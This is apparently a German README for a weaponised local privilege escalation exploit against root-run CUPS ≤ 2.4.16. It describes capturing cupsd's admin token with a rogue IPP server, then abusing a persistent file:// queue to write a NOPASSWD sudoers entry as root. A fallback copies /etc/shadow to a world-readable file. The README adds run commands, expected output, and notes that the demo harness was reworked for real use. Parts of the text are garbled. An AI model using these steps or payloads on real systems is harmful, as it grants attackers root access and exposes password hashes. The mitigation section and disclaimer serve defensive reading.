
Lokale Rechteausweitung gegen einen Root-`cupsd`.
cups2root, de-geharnessed)CVSS 3.x : 8.4 HIGH (ungefähr — verifizieren)
CWE : CWE-287 (Improper Authentication) + CWE-269 (Improper Privilege Mgmt)
Fix : CUPS 2.4.17+
Betrifft : CUPS ≤ 2.4.16 mit cupsd als root und 631 lokal erreichbar
Lokale Rechteausweitung gegen einen root cupsd. Wenn er dazu gezwungen wird, als IPP
Client gegenüber einem bösartigen lokalen Server zu agieren, antwortet cupsd auf eine
401 WWW-Authenticate: Local-Challenge, indem es sein eigenes Admin-Token wiedergibt. Das
Abfangen dieses Tokens ermöglicht es einem unprivilegierten Benutzer, cupsd als Admin (root)
zu steuern. Eine persistente file://-Druckwarteschlange (printer-is-temporary=false)
umgeht die FileDevice-Richtlinie, sodass ein roher Print-Job Angreifer-Bytes in jeden Pfad
als root schreibt — hier ein NOPASSWD-sudoers-Fragment.
Zwei Primitive verketten sich zu beliebigem Root-Dateischreiben:
Local-Authentifizierung. cupsd akzeptiert eine Local-Authentifizierung,
die auf einem Root-Zertifikat unter /run/cups/certs/ basiert. Als IPP-Client bietet es
dieses Admin-Token an, wenn es mit 401 WWW-Authenticate: Local herausgefordert wird. Richte
cupsd auf einen gefälschten IPP-Server, den du kontrollierst, und du fängst ein Token ab, das
gültig ist, um es als root zu steuern.file:// als device-uri wird standardmäßig abgelehnt. Das Erstellen
der Warteschlange mit printer-is-temporary=false persistiert sie und umgeht diese Sperre; ein
roher Print-Job schreibt dann seine Bytes direkt in die Zieldatei, als root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> ist cupsds eigenes Admin-Token — gib es gegen /admin/ wieder und du bist root-äquivalent.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
Der Referenz-PoC (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) ist ein Demo-Harness: Er
läuft als root, startet seinen eigenen cupsd und einen Wegwerf-unpriv-Benutzer und verwendet
dann sudo -u unpriv, um den Angreifer zu simulieren. So nicht verwendbar. Änderungen:
127.0.0.1:631.$ATTACKER); Fragment <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Status | Versionen |
|---|---|
| Anfällig | CUPS ≤ 2.4.16 |
| Behoben | CUPS 2.4.17 und später |
| Datei | Rolle |
|---|---|
exploit.py | PoC: Token-Leak → file://-Warteschlange → roher Print-Job → sudoers root |
README.md | Diese Datei |
Nur Python-3-Standardbibliothek — keine Abhängigkeiten.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
Bei Erfolg:
[+] Local token: <token>
[+] ROOT via sudoers
dann sudo -i.
cupsd nach Möglichkeit nicht als root ausführen; Privilegien abgeben / den Dienst sandboxen.Local-Authentifizierung und das file://-Device-Backend einschränken; die FileDevice-Richtlinie
für persistente Warteschlangen durchsetzen.systemctl disable --now cups cups-browsed und das Paket entfernen.Dieses Projekt dient ausschließlich autorisierten Sicherheitstests, der Bildung und der defensiven Forschung. Du bist dafür verantwortlich, die geltenden Gesetze und die Rules of Engagement deines Labors oder Kunden einzuhalten.